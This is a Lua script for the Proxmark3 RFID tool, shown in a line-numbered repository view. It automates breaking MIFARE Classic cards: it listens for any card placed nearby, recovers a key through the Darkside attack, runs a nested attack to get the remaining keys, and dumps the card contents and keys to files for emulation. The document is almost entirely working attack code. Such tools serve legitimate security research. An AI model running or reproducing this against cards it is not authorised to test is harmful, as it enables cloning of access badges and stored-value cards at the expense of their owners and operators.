]>
Commit | Line | Data |
---|---|---|
1 | local getopt = require('getopt') | |
2 | local reader = require('read14a') | |
3 | local cmds = require('commands') | |
4 | ||
5 | example = "script run mifare_autopwn" | |
6 | author = "Martin Holst Swende" | |
7 | ||
8 | ||
9 | desc = | |
10 | [[ | |
11 | This is a which automates cracking and dumping mifare classic cards. It sets itself into | |
12 | 'listening'-mode, after which it cracks and dumps any mifare classic card that you | |
13 | place by the device. | |
14 | ||
15 | Arguments: | |
16 | -d debug logging on | |
17 | -h this help | |
18 | ||
19 | Output files from this operation: | |
20 | <uid>.eml - emulator file | |
21 | <uid>.html - html file containing card data | |
22 | dumpkeys.bin - keys are dumped here. OBS! This file is volatile, as other commands overwrite it sometimes. | |
23 | dumpdata.bin - card data in binary form. OBS! This file is volatile, as other commands (hf mf dump) overwrite it. | |
24 | ||
25 | ]] | |
26 | ||
27 | ------------------------------- | |
28 | -- Some utilities | |
29 | ------------------------------- | |
30 | local DEBUG = false | |
31 | --- | |
32 | -- A debug printout-function | |
33 | function dbg(args) | |
34 | if DEBUG then | |
35 | print(":: ", args) | |
36 | end | |
37 | end | |
38 | --- | |
39 | -- This is only meant to be used when errors occur | |
40 | function oops(err) | |
41 | print("ERROR: ",err) | |
42 | return nil,err | |
43 | end | |
44 | ||
45 | --- | |
46 | -- Usage help | |
47 | function help() | |
48 | print(desc) | |
49 | print("Example usage") | |
50 | print(example) | |
51 | end | |
52 | ||
53 | --- | |
54 | -- Waits for a mifare card to be placed within the vicinity of the reader. | |
55 | -- @return if successfull: an table containing card info | |
56 | -- @return if unsuccessfull : nil, error | |
57 | function wait_for_mifare() | |
58 | while not core.ukbhit() do | |
59 | res, err = reader.read1443a() | |
60 | if res then return res end | |
61 | -- err means that there was no response from card | |
62 | end | |
63 | return nil, "Aborted by user" | |
64 | end | |
65 | ||
66 | function mfcrack() | |
67 | core.clearCommandBuffer() | |
68 | -- Build the mifare-command | |
69 | local cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 1} | |
70 | ||
71 | local retry = true | |
72 | while retry do | |
73 | core.SendCommand(cmd:getBytes()) | |
74 | local key, errormessage = mfcrack_inner() | |
75 | -- Success? | |
76 | if key then return key end | |
77 | -- Failure? | |
78 | if errormessage then return nil, errormessage end | |
79 | -- Try again..set arg1 to 0 this time. | |
80 | ||
81 | cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 0} | |
82 | end | |
83 | return nil, "Aborted by user" | |
84 | end | |
85 | ||
86 | ||
87 | function mfcrack_inner() | |
88 | while not core.ukbhit() do | |
89 | local result = core.WaitForResponseTimeout(cmds.CMD_ACK,1000) | |
90 | if result then | |
91 | ||
92 | --[[ | |
93 | I don't understand, they cmd and args are defined as uint32_t, however, | |
94 | looking at the returned data, they all look like 64-bit things: | |
95 | ||
96 | print("result", bin.unpack("HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH", result)) | |
97 | ||
98 | FF 00 00 00 00 00 00 00 <-- 64 bits of data | |
99 | FE FF FF FF 00 00 00 00 <-- 64 bits of data | |
100 | 00 00 00 00 00 00 00 00 <-- 64 bits of data | |
101 | 00 00 00 00 00 00 00 00 <-- 64 bits of data | |
102 | 04 7F 12 E2 00 <-- this is where 'data' starts | |
103 | ||
104 | So below I use LI to pick out the "FEFF FFFF", don't know why it works.. | |
105 | --]] | |
106 | -- Unpacking the arg-parameters | |
107 | local count,cmd,isOK = bin.unpack('LI',result) | |
108 | --print("response", isOK)--FF FF FF FF | |
109 | if isOK == 0xFFFFFFFF then | |
110 | return nil, "Button pressed. Aborted." | |
111 | elseif isOK == 0xFFFFFFFE then | |
112 | return nil, "Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys." | |
113 | elseif isOK == 0xFFFFFFFD then | |
114 | return nil, "Card is not vulnerable to Darkside attack (its random number generator is not predictable). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys." | |
115 | elseif isOK ~= 1 then | |
116 | return nil, "Error occurred" | |
117 | end | |
118 | ||
119 | ||
120 | -- The data-part is left | |
121 | -- Starts 32 bytes in, at byte 33 | |
122 | local data = result:sub(33) | |
123 | ||
124 | -- A little helper | |
125 | local get = function(num) | |
126 | local x = data:sub(1,num) | |
127 | data = data:sub(num+1) | |
128 | return x | |
129 | end | |
130 | ||
131 | local uid,nt,pl = get(4),get(4),get(8) | |
132 | local ks,nr = get(8),get(4) | |
133 | ||
134 | local status, key = core.nonce2key(uid,nt, nr, pl,ks) | |
135 | if not status then return status,key end | |
136 | ||
137 | if status > 0 then | |
138 | print("Key not found (lfsr_common_prefix problem)") | |
139 | -- try again | |
140 | return nil,nil | |
141 | else | |
142 | return key | |
143 | end | |
144 | end | |
145 | end | |
146 | return nil, "Aborted by user" | |
147 | end | |
148 | ||
149 | function nested(key,sak) | |
150 | local typ = 1 | |
151 | if 0x18 == sak then --NXP MIFARE Classic 4k | Plus 4k | |
152 | typ = 4 | |
153 | elseif 0x08 == sak then -- NXP MIFARE CLASSIC 1k | Plus 2k | |
154 | typ= 1 | |
155 | elseif 0x09 == sak then -- NXP MIFARE Mini 0.3k | |
156 | typ = 0 | |
157 | elseif 0x10 == sak then-- "NXP MIFARE Plus 2k" | |
158 | typ = 2 | |
159 | elseif 0x01 == sak then-- "NXP MIFARE TNP3xxx 1K" | |
160 | typ = 1 | |
161 | else | |
162 | print("I don't know how many sectors there are on this type of card, defaulting to 16") | |
163 | end | |
164 | local cmd = string.format("hf mf nested %d 0 A %s d",typ,key) | |
165 | core.console(cmd) | |
166 | end | |
167 | ||
168 | function dump(uid) | |
169 | core.console("hf mf dump") | |
170 | -- Save the global args, those are *our* arguments | |
171 | local myargs = args | |
172 | -- Set the arguments for htmldump script | |
173 | args =("-o %s.html"):format(uid) | |
174 | -- call it | |
175 | require('../scripts/htmldump') | |
176 | ||
177 | args ="" | |
178 | -- dump to emulator | |
179 | require('../scripts/dumptoemul') | |
180 | -- Set back args. Not that it's used, just for the karma... | |
181 | args = myargs | |
182 | end | |
183 | ||
184 | --- | |
185 | -- The main entry point | |
186 | function main(args) | |
187 | ||
188 | ||
189 | local verbose, exit,res,uid,err,_,sak | |
190 | local seen_uids = {} | |
191 | ||
192 | -- Read the parameters | |
193 | for o, a in getopt.getopt(args, 'hd') do | |
194 | if o == "h" then help() return end | |
195 | if o == "d" then DEBUG = true end | |
196 | end | |
197 | ||
198 | while not exit do | |
199 | res, err = wait_for_mifare() | |
200 | if err then return oops(err) end | |
201 | -- Seen already? | |
202 | uid = res.uid | |
203 | sak = res.sak | |
204 | if not seen_uids[uid] then | |
205 | -- Store it | |
206 | seen_uids[uid] = uid | |
207 | print("Card found, commencing crack", uid) | |
208 | -- Crack it | |
209 | local key, cnt | |
210 | res,err = mfcrack() | |
211 | if not res then return oops(err) end | |
212 | -- The key is actually 8 bytes, so a | |
213 | -- 6-byte key is sent as 00XXXXXX | |
214 | -- This means we unpack it as first | |
215 | -- two bytes, then six bytes actual key data | |
216 | -- We can discard first and second return values | |
217 | _,_,key = bin.unpack("H2H6",res) | |
218 | print("Key ", key) | |
219 | ||
220 | -- Use nested attack | |
221 | nested(key,sak) | |
222 | -- Dump info | |
223 | dump(uid) | |
224 | end | |
225 | end | |
226 | end | |
227 | ||
228 | -- Call the main | |
229 | main(args) |